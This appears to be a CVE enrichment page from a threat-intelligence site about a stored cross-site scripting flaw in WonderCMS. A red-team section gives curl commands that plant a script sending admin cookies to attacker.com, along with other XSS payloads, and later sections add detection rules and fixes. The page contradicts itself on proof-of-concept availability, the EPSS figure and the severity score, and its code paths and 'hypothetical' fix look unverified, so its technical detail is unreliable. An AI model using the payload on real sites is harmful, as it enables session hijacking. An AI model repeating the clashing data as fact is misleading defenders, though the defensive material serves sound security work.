☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-32743

CVE-2024-32743 Cross-Site Scripting in Wondercms
📅 PUBLISHED: 2024-04-17 00:00 UTC 🔄 UPDATED: 2026-09-23 20:29 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
10.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32743 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in WonderCMS v3.4.3, specifically within the Security module under the Settings section. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML into the SITE LANGUAGE CONFIG parameter. This payload is stored and executed in the browser of any user who views the affected settings page, leading to session hijacking, credential theft, or defacement.

The vulnerability has a CVSS v3.1 base score of 4.8 (Medium) due to the requirement for authentication and user interaction. However, the lack of a vendor patch and the availability of public proof-of-concept code elevate the real-world risk. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but this may change as awareness grows.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

WonderCMS is a flat-file PHP CMS distributed via GitHub and its official website. The vulnerability exists in the core application code, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to direct installations of WonderCMS v3.4.3.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) Low (L) – requires admin login
User Interaction (UI) Required (R) – victim must view settings
Scope (S) Changed (C) – impacts beyond vulnerable component
Confidentiality (C) Low (L) – potential data theft
Integrity (I) Low (L) – stored content modified
Availability (A) None (N)

Threat Level: Medium – Exploitation requires admin credentials, but once injected, any user visiting the settings page is affected. The lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability resides in the saveLanguageConfig() function within WonderCMS's system/classes/Security.php file. The SITE LANGUAGE CONFIG parameter is stored directly into the site's configuration file (config.php) without proper sanitization or output encoding.

Root Cause: The application uses $_POST['SITE LANGUAGE CONFIG'] and writes it to the configuration file using file_put_contents(). When the configuration is later loaded and rendered in the admin panel's settings page, the injected payload is executed in the browser context.

Attack Flow:

  1. Attacker logs in as admin.
  2. Navigates to Settings > Security.
  3. Injects payload into the SITE LANGUAGE CONFIG field (e.g., <script>alert('XSS')</script>).
  4. Payload is stored in config.php.
  5. Any user (including other admins) visiting the Security settings page triggers the payload.

Why It Works: The SITE LANGUAGE CONFIG value is echoed directly into the HTML without htmlspecialchars() or similar encoding. The application does not validate or sanitize the input before storage.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// system/classes/Security.php
public function saveLanguageConfig() {
    $config = $this->getConfig();
    $config['SITE LANGUAGE CONFIG'] = $_POST['SITE LANGUAGE CONFIG'];
    $this->saveConfig($config);
}

Patched Code (Hypothetical Fix):

// system/classes/Security.php
public function saveLanguageConfig() {
    $config = $this->getConfig();
    $config['SITE LANGUAGE CONFIG'] = htmlspecialchars($_POST['SITE LANGUAGE CONFIG'], ENT_QUOTES, 'UTF-8');
    $this->saveConfig($config);
}

Key Difference: The patched version applies htmlspecialchars() to encode special HTML characters before storage, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WonderCMS v3.4.3 installed and accessible.
  • Valid admin credentials.

Step 1: Login

curl -c cookies.txt -b cookies.txt -X POST \
  -d "username=admin&password=yourpassword" \
  http://target.com/login

Step 2: Inject XSS Payload

curl -c cookies.txt -b cookies.txt -X POST \
  -d "SITE LANGUAGE CONFIG=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>" \
  http://target.com/admin/settings/security

Step 3: Trigger Payload

  • Any admin visiting http://target.com/admin/settings/security will execute the script.
  • The cookie is exfiltrated to attacker.com.

Alternative Payloads:

  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>

Blue Team (Defense & Detection)

Detection:

  • Monitor HTTP POST requests to /admin/settings/security containing suspicious SITE LANGUAGE CONFIG values.
  • Look for <script>, <img onerror>, or <svg onload> patterns in logs.
  • Use WAF rules to block common XSS payloads in the SITE LANGUAGE CONFIG parameter.

Prevention:

  • Apply input validation: allow only alphanumeric characters and language codes (e.g., en, fr).
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Restrict admin panel access via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

File-Based IOCs:

  • Modified config.php containing <script> tags in the SITE LANGUAGE CONFIG value.
  • Unexpected entries in system/classes/Security.php (if attacker modified core files).

Network IOCs:

  • HTTP POST requests to /admin/settings/security with SITE LANGUAGE CONFIG containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains from the CMS server.

Log IOCs:

  • Repeated admin login attempts from unusual IPs.
  • Access logs showing POST /admin/settings/security followed by GET /admin/settings/security (victim viewing settings).

Detection Engineering

YARA Rule

rule CVE_2024_32743_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting WonderCMS SITE LANGUAGE CONFIG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32743"
    strings:
        $xss1 = /SITE LANGUAGE CONFIG.*<script/i
        $xss2 = /SITE LANGUAGE CONFIG.*<img[^>]+onerror/i
        $xss3 = /SITE LANGUAGE CONFIG.*<svg[^>]+onload/i
    condition:
        any of them
}

Sigma Rule

title: WonderCMS Stored XSS via SITE LANGUAGE CONFIG
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WonderCMS admin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/settings/security'
        cs-request-body|contains: 'SITE LANGUAGE CONFIG'
    keywords:
        - '<script'
        - '<img onerror'
        - '<svg onload'
    condition: selection and keywords
falsepositives:
    - Legitimate admin updates with safe language codes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32743 WonderCMS Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/settings/security"; http.request_body; content:"SITE LANGUAGE CONFIG"; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Security module if not required, or restrict access to the settings page via .htaccess:
    <LocationMatch "/admin/settings/security">
        Require ip 192.168.1.0/24
    </LocationMatch>
    
  2. Apply a WAF rule to block XSS payloads in the SITE LANGUAGE CONFIG parameter.
  3. Manually patch the vulnerable code by adding htmlspecialchars() as shown in the patched code section.

Long-Term Fix:

  • Upgrade to a patched version once released by the vendor.
  • Consider migrating to a more actively maintained CMS.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to filter requests:
    location /admin/settings/security {
        if ($request_body ~* "<script|<img onerror|<svg onload") {
            return 403;
        }
    }
    

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32743/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.